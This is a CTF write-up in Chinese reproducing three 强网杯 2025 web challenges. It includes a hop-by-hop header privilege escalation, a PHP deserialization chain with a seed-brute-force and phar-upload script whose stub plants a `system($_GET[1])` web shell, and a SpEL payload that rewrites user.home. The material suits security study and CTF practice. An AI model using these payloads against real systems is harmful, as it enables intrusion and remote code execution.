强网杯2025 赛后复现
强网杯 2025 复现
当时做的时候就没什么精力,最后也是没做出东西来。有很多简单东西都做得少导致细节都不清楚,得继续加油了
Web
SecretVault
身份验证是一个强密钥的 jwt,也做了签名验证
有 admin 账户

没试出弱口令

login 的认证实际上是通过 go 中间件解析完身份后传递的 X-User 头,如果能直接访问到这个后端就可以伪造
复现:
参考 https://datatracker.ietf.org/doc/html/rfc2616#section-14.10

Connection 头是只对当前连接有效的选项(connection-specific options)。意味着它不能被代理(proxy)转发到后续的连接中。也就是说,它们只在当前客户端和服务器(或代理)之间的这一跳(hop-by-hop)有效,而不是端到端(end-to-end)有效。
因此,在 Connection 头中出现的 token 都会在响应头中被删除,因为这些头不能传输到下一个节点,例如:
Connection: Upgrade Upgrade: websocket代理看到
Connection: Upgrade,就知道Upgrade是一个 hop-by-hop 头,于是在转发时必须删掉Upgrade头,否则下游服务器可能会误解。
虽然 HTTP/1.0 本来没有 Connection 头的概念,但有些 HTTP/1.0 实现会用它(比如 Connection: Keep-Alive)。为了兼容,即使收到的是 HTTP/1.0 消息,只要它有 Connection 头,接收方也必须按规则删除对应的头字段。这是为了防止旧版代理错误地转发 hop-by-hop 头。
这种头删除特性并不是把这个请求头给直接去除,而是以一种置空的形式去除的
在本题中,前端遇到置空的头会认作0,也就是admin的uid,因此构造一个Connection头存在X-User即可提权

Connection: X-User
这题的关键词是 hop-by-hop 请求头
HTTP 请求转发那些事:你可能不知道的 Hop-by-hop Headers 和 End-to-end Headers
HTTP Hop-by-Hop 请求_nginx hop by hop-CSDN 博客
ezphp
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0;
$i < $length;
$i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
$this - > readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp ".$uploadedFile." ". $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}
public function __wakeup() {
phpinfo();
}
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file))die("error");
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
} //__construct
public function __destruct() {
$func = $this - > f;
$GLOBALS['filename'] = $this - > readflag;
if ($this - > key == 'class')new $func();
else if ($this - > key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
先看漏洞点
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file))die("error");
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
这里有一个嵌套函数调用,可以进行文件包含,但是过滤了 <?等,可能可以考虑脏数据绕过正则
但是嵌套函数需要外部被调用才会定义,同时调用也要在这个函数里调用
如果要在外部调用需要先调用外层让内层函数被定义

$test = new test();
$test->readflag->readflag();
readflag();

函数调用点在这里
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class')new $func(); else if ($this->key == 'func') {
$func();
} else {
echo "";
}
}
但是这样的话只能调用一次函数,就没办法走到内层,所以需要两次
$test1 = new test();
$test1 -> key = "func";
$test1 -> f = [$test1 -> readflag,'readflag'];//用回调调用匿名类的方法
unset($test1);//模拟test1的destruct
$test2 = new test();
$test2 -> key = "func";
$test2 -> f = "readflag";
下面就是序列化的问题,匿名类没办法序列化,readflag 里的匿名类会在构造函数定义,但是这个回调的调用没办法重新定义,在这里就卡住了
复现:
我们可以通过 get_class()的方式查看匿名类的序列化情况
<?php
$t = new class { };
echo get_class($t) . "\n";
eval ('$test = new class{};');
echo get_class($test) . "\n";
/*
class@anonymousC:\Users\xNftrOne\PhpstormProjects\helloOne\test2.php:2$0
class@anonymousC:\Users\xNftrOne\PhpstormProjects\helloOne\test2.php(5) : eval()'d code:1$1
通过 url 编码可以发现其中有一个 %00,由此可以看到匿名类类名的规则是
class@anonymousmailto:class@anonymous + %00 + 路径 + : + 定义的行号 + $ 匿名类序号
如果是 eval 中的就是
class@anonymousmailto:class@anonymous + %00 + 路径 + : + (eval 的行号) + eval()'d code: + eval 中定义的行号 + $ 匿名类序号
所以我们可以这样调用到 readflag
$test1 = new test();
$test1->key = "func";
$test1->f = ["class@anonymous\00/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
$test2 = new test();
$test2 -> key = "func";
$test2 -> f = "readflag";
$payload = [$test1, $test2];
源代码是在 eval 中的一行,因此 eval 行号为 1,要传递着去调用来保证函数被定义,所以需要构造成一个 list
下面看进去之后的文件包含
function readflag()
{
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file))
die("error");
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
有文件内容 waf,并且通过 basename 获取文件名,没办法使用伪协议
想到之前做 phar 文件上传的绕过 trick,考虑 gzip 压缩然后 phar 的方式读取
然后看文件上传
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0;
$i < $length;
$i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
...
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp ".$uploadedFile." ". $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}
对文件名进行了随机化处理得到 8 个字母组成的字符
这里借用星盟师傅的一张图

可以看见 phar 的判断逻辑只需要包含.phar 就行,甚至不需要是扩展名
所以我们通过 filename 尝试控制 seed,让生成的字符串为 pharxxxx 即可
参考当 include 邂逅 phar——DeadsecCTF2025 baby-web – fushulingのblog
我们可以这样构造 phar
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
随后 gzip 压缩一下就可以
对于文件名这个,我的第一想法是不停地传总能碰到的(
当然也可以用爆破的思路弄出一个能一次出 phar 的 seed
这里直接给到一位师傅的 wp
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
**for** ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
$time = date('Hi'); //date在一段时间内固定,及时发包即可
//爆破filename控制最终文件名
for ($filename = 1; $filename <= 999999999999999999; $filename++) {
$seed = $time . intval($filename);
srand($seed);
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
**echo** $time . "---" . $seed . "---" . $filename . "---" . $newFilename . "\n\n\n";
if (strpos($randomStr, 'phar') === 0) {
echo "Found 'phar' in filename! Stopping.\n";
break;
}
}
class test {
public $readflag;
public $f;
public $key;
public function __construct()//构造方法置空防止反序列化问题
{
}
}
//触发构造方法上传文件
$o1 = new test();
$o1->f = 'test';
$o1->key = 'class';
echo"---------------". $filename . "------------";
$o1->readflag = $filename;
//触发匿名类函数加载内部方法
$o2 = new test();
$o2->f = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
$o2->key = 'func';
//触发内部方法文件包含
$o3 = new test();
$o3->f = 'readflag';
$o3->key = 'func';
$arr = [$o1, $o2, $o3];
$ser = serialize($arr);
echo urlencode($ser);
function sendrequest($url, $payload)
{
$ch = curl_init();
//上传构造好的恶意gzip
$postData = [
'file' => new CURLFile('./phpinfo.phar.gz', 'application/gzip', 'file.txt')
];
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?land=' . $payload,
CURLOPT_POST => **true**,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_RETURNTRANSFER => **true**,
CURLOPT_SSL_VERIFYPEER => **false**,
CURLOPT_TIMEOUT => 30,
]);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "cURL Error: " . $error;
} else {
echo $response;
}
}
$url = "";
sendrequest($url,urlencode($ser));
?>
值得一提的是,在翻看其他师傅的 wp 时发现是这样构造回调函数的
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号
这种构造方法两个 wp 没有给出参考的文章,但是 lamentXU 师傅提了一嘴

那我们暂且不去深究了
在复现过程中看到的另一道文件包含 trick
hxp CTF 2021 - The End Of LFI? - 跳跳糖
其实是 filter 链 rce,不过讲的非常清楚,学习了 ✍️✍️✍️
bbjv
只有 spring 依赖
执行一个 SPEL,然后在执行结果后面追加 flag?这是什么逻辑
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.gateway.controller;
import com.ctf.gateway.service.EvaluationService;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class GatewayController {
private final EvaluationService evaluationService;
public GatewayController(EvaluationService evaluationService) {
this.evaluationService = evaluationService;
}
@GetMapping({"/check"})
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
String result = this.evaluationService.evaluate(rule);
File flagFile = new File(System._getProperty_("user.home"), "flag.txt");
if (flagFile.exists()) {
try {
BufferedReader br = new BufferedReader(new FileReader(flagFile));
try {
String content = br.readLine();
result = result + "<br><b>\ud83d\udea9 Flag:</b> " + content;
} catch (Throwable var8) {
try {
br.close();
} catch (Throwable var7) {
var8.addSuppressed(var7);
}
throw var8;
}
br.close();
} catch (IOException var9) {
IOException e = var9;
throw new RuntimeException(e);
}
}
return result;
}
}
需要 flag.txt 在用户目录,难道这是一个找 flag 游戏吗。。
好吧,这里不能直接 spel 注入
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.gateway.config;
import com.ctf.gateway.accessor.SecurePropertyAccessor;
import java.util.Properties;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.PropertyAccessor;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
@Configuration
public class SpelConfig {
public SpelConfig() {
}
@Bean({"systemProperties"})
public Properties systemProperties() {
return System._getProperties_();
}
@Bean({"restrictedEvalContext"})
public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new SecurePropertyAccessor()}).build();
simpleContext.setVariable("systemProperties", systemProperties);
return simpleContext;
}
}
SimpleEvaluationContext 是一个安全上下文,会把各种危险的操作 ban 掉
但是把系统变量塞进了 systemProperties 上下文里,可以访问到
package com.ctf.gateway.accessor;
import org.springframework.expression.AccessException;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.support.ReflectivePropertyAccessor;
public class SecurePropertyAccessor extends ReflectivePropertyAccessor {
public SecurePropertyAccessor() {}
public boolean canRead(EvaluationContext context, Object target, String name) throws AccessException {
return false;
}
}
这个就是继承了属性访问器,把所有可读权限都关了
理论上来说这里只有 ${systemProperties} 可以执行,但是我直接打就 400,url 编码打就回显本身。。
复现:
这里陷入了一个误区,一直在跟着 ai 打错误的模板
所以这里整理一下 spel 的几种可能会用到的表达式
#{...}定界符,用于 注解、XML 配置、模板中 如:@Value("#{systemProperties['user.home']}")T(...)类型表达式,用于指定实例,可以调用静态方法 如:T(Java.lang.Math).random()@Bean 引用,可以查找并访问 Bean 的属性或方法,前提是配置了 Bean 解析器 如:@student.getname()#引用变量,变量通过 setVariable()方法来设置,如本题的:#systemProperties
在 SpEL 中,表达式解析和求值的流程可以分为三个关键部分:
ExpressionParser:负责将字符串表达式解析为 Expression 对象,类似于“编译器”将代码转为可执行单元。EvaluationContext:提供表达式求值时的上下文环境,包含变量、属性解析器、类型转换器等,类似于“运行时环境”。Expression:表示解析后的表达式对象,负责在特定上下文中计算结果,类似于“可执行的函数”。
因此本题最终的 payload 为
#{#systemProperties['user.home']='/tmp'}
修改一下 home 目录即可,flag 路径是在 dockerfile 中泄露的
说是这个 cve
https://psytester.github.io/CVE-2025-41243_Spring_SpEL_property_modification/

浙公网安备 33010602011771号